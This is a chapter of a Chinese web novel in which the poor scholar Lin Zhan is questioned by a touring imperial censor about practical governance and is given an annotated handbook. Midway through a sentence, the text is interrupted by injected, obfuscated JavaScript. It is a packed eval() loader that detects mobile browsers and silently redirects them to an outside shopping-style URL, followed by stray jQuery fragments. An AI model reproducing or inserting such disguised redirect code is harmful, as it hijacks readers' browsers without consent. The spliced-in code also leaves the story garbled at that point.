92.巡按召见

作品:《科举之寒门弟子六元及第

    消息传到县学时,林湛正在号舍里跟王砚之下棋。


    铁柱慌慌张张冲进来,差点被门槛绊个跟头:“湛、湛哥儿!不好了——不对,是大好了!也不对,是、是大事!”


    林湛捏着棋子,头也不抬:“铁柱哥,你喘匀了再说。是天塌了还是地陷了?”


    “比那还厉害!”铁柱抹了把汗,“县衙来人了!说是什么……省里来的巡按大人,路过咱们县,听说你是小三元,要、要召见你!”


    “啪嗒”。


    王砚之手里的棋子掉在棋盘上,骨碌碌滚到桌边。“省里巡按?”他看向林湛,神色有些紧张,“这可是从四品的监察官员,代天子巡狩州县,权重得很。怎么会突然……”


    周文渊原本在隔壁温书,闻声也过来了:“巡按召见?所为何事?”


    铁柱急道:“我哪知道啊!来传话的是县尊身边的李书办,就在院门外等着呢!说让湛哥儿赶紧收拾收拾,随他去驿馆见巡按大人!”


    林湛放下棋子,起身整了整衣襟。说不紧张是假的,但更多的是意外。“巡按路过,怎么知道我?”


    王砚之也站起来:“小三元的名头,在咱们府里也算独一份了。况且你那些策论文章,杨县尊恐怕没少在上峰面前提起。只是……”他压低声音,“这位巡按大人脾性如何、为何召见,咱们一概不知。林兄,应答务必谨慎。”


    周文渊想了想:“巡按监察吏治、巡查民情,召见本地才俊也是常事。林兄只需从容应对,问什么答什么便是。以林兄平日言行,当无大碍。”


    话虽这么说,他自己手心也有些汗。


    林湛点点头,深吸一口气:“走吧,别让李书办等急了。”


    驿馆在县城东头,离县学不远。一路上,李书办简单交代了几句:这位巡按姓赵,单名一个秉字,是都察院的监察御史,此番巡查江南数省,今日才到永清县。在听杨县尊汇报本县政务时,偶然问起今年童试,杨县尊便提了“小三元”林湛的名字。


    “赵大人听着似乎挺感兴趣,”李书办低声道,“就说要见见。林公子,这可是难得的机缘,但也得小心应对。这位赵大人听说……眼睛毒得很。”


    驿馆门口,两个穿着青色公服的差役守着。进了门,是个清静的小院,正中堂屋的门开着,隐约能看见里面坐着几个人。


    林湛在门外站定,理了理衣衫,朗声道:“学生林湛,奉召谒见巡按大人。”


    里面传来一个温和却有力的声音:“进来吧。”


    林湛跨过门槛。堂屋正中主位上,坐着一位约莫四十出头的中年官员,面容清癯,留着三缕短须,穿着青色圆领常服,头戴乌纱。他身侧下手坐着杨县尊,再旁边是个师爷模样的文士。


    林湛上前几步,躬身行礼:“学生林湛,见过巡按大人,见过县尊。”


    赵秉打量着他,目光平和却锐利:“不必多礼。抬起头来。”


    林湛直起身,目光微垂,落在赵秉胸前的补子上——那是白鹇的图案,五品文官。看来这位巡按大人日常穿着颇为简朴。


    “听说你今年县、府、院三试皆拔头筹,得了小三元?”赵秉端起茶盏,语气随意,像在闲聊。


    “学生侥幸。”


    “侥幸?”赵秉笑了笑,“本官看了你那几场的墨卷。县试的《民为贵》、府试的《钱谷论》、院试的《治水疏》,都不是侥幸能写出来的东西。尤其是那篇《治水疏》,‘防在未汛,疏在已涝,治在本源’,说得通透。你一个农家子,如何懂这些?”


    林湛心道来了。他早有准备,从容答道:“回大人,学生家中耕读,常听父老言及田亩水利之事。又读《禹贡》《河渠书》,两相印证,便有些粗浅想法。纸上谈兵,让大人见笑了。”


    “纸上谈兵?”赵秉放下茶盏,“杨县令说,你曾献策整顿常平仓,条陈具体,连仓粮如何轮换、账目如何稽核都想到了。这也是纸上谈兵?”


    杨县尊在一旁含笑不语。


    林湛忙道:“学生只是胡思乱想,不敢称‘献策’。”


    “胡思乱想能想到点子上,也不容易。”赵秉身子微微前倾,“本官一路南下,见了不少所谓才子,要么满口圣贤书却不通世事,要么汲汲功名只求捷径。你倒好,文章写得扎实,还琢磨这些钱谷仓廪的实务。说说,为何?”


    这个问题不好答。说大了显得狂妄,说小了显得虚伪。


    林湛想了想,诚恳道:“回大人,学生读圣贤书,见书中多言‘仁政’‘爱民’。可何为仁政?空谈仁义不能使饥者得食、寒者得衣。学生愚见,仁政需落到实处,落到一仓粮、一条渠、一本账上。故而学生愿学这些看似琐碎的实务,将来若有机缘,或可让书上道理,少些空悬。”


    堂内静了片刻。


    赵秉没说话,只是看着他。那目光像是要把他从里到外看透。良久,他忽然问:“你可知北地春旱?”


    “学生略有耳闻。”


    “若派你去旱区任一县令,你会如何做?”


    这问题来得突然,杨县尊都微微直了直身子。


    林湛沉吟几息,没有立刻回答那些“开仓放粮”“以工代赈”的套话,而是道:“学生若赴任,当先做三件事:一查仓,核实常平仓、义仓储粮实数与质量;二访老,请教本地乡老历年旱情规律、水源分布;三清账,理清县衙可动用钱粮、可征调民力。而后,方敢言救济之策。”


    赵秉眼中闪过一丝异色:“为何先做这些?”


    “无准确实情,则对策易空泛。不知仓中虚实,放粮可能无粮可放;不知地方实况,兴修可能劳民伤财;不知钱粮底数,承诺可能无法兑现。学生以为,为政首在‘实’字。”


    “好一个‘为政首在实’。”赵秉轻轻拍了下扶手,语气听不出喜怒,“这些话,谁教你的?”


    “无人教。学生只是觉得,做事该当如此。”


    赵秉靠回椅背,看向杨县尊:“你这县里,倒真出了个有意思的。”


    杨县尊笑道:“下官也觉此子与众


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190598|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不同。不唯文章好,平日与同窗论学,也常言‘学问当经世致用’。”


    “经世致用……”赵秉重复这四个字,点点头,“本官记住了。林湛。”


    “学生在。”


    “好好读书,但别读成书呆子。你方才说的那些,继续琢磨。朝廷将来需要的不只是会写文章的才子,更是能做实事的干才。”


    “学生谨记大人教诲。”


    赵秉挥挥手:“去吧。本官倦了。”


    林湛躬身退下。走到院门口,才觉背后衣衫微湿——刚才那番问答,看似随意,实则句句都是考较。


    他刚走出驿馆没多远,拐角处就冒出几个脑袋。王砚之、周文渊、沈千机,连铁柱都猫着腰躲在后面。


    “怎么样怎么样?”铁柱第一个冲过来,“那大官凶不凶?没为难你吧?”


    沈千机也凑近:“问什么了?有没有提旱灾粮价的事?”


    王砚之则稳重点:“林兄神色尚可,想必应对得当。”


    周文渊没说话,只看着林湛,等他说。


    林湛呼了口气,笑了:“没为难。就问了些平常问题。哦,还问若让我去旱区当县令怎么办。”


    “你怎么说?”几人异口同声。


    林湛把回答简单说了说。沈千机听完,一拍大腿:“妙啊!先摸清家底再说话,这比空口白话强多了!”


    王砚之沉吟:“巡按大人听后如何说?”


    “就说……让我别读成书呆子,继续琢磨这些实务。”


    几人都松了口气。周文渊忽然道:“这位赵大人,恐怕不简单。寻常官员召见才俊,多问文章经义,他却直问为政实务,且问题切中要害。这是真在选材,不是走个过场。”


    正说着,驿馆方向忽然传来些动静。几人回头望去,只见几个差役抬着两箱东西出来,后面跟着赵秉的那个师爷。


    师爷看见他们,竟走了过来,对林湛拱拱手:“林公子还未走远。我家大人让我送样东西给你。”


    说着,从袖中取出一本书,递了过来。


    林湛接过一看,是一本半旧的《州县提纲》,书页泛黄,但保存完好。翻开扉页,上面有一行朱笔小楷:“为政之道,在明实情、务实效。与湛生共勉。赵秉。”


    师爷低声道:“这是大人年轻时用的书,上面有他历年批注。大人说,送你正合适。”


    林湛郑重收好:“请代学生叩谢大人。”


    师爷点点头,又看了他们几人一眼,转身回去了。


    几人围过来看那书。王砚之轻声道:“这可是难得的机缘。巡按大人赠书,还是批注过的……”


    沈千机摸着下巴:“看来这位赵大人,是真看上林兄了?”


    周文渊则看着那行题字,若有所思:“‘在明实情、务实效’……这话,倒与林兄平日的想法不谋而合。”


    铁柱挠头:“所以这是好事对吧?不会惹麻烦吧?”


    林湛摩挲着书皮,笑了笑:“是好是坏,走着瞧吧。”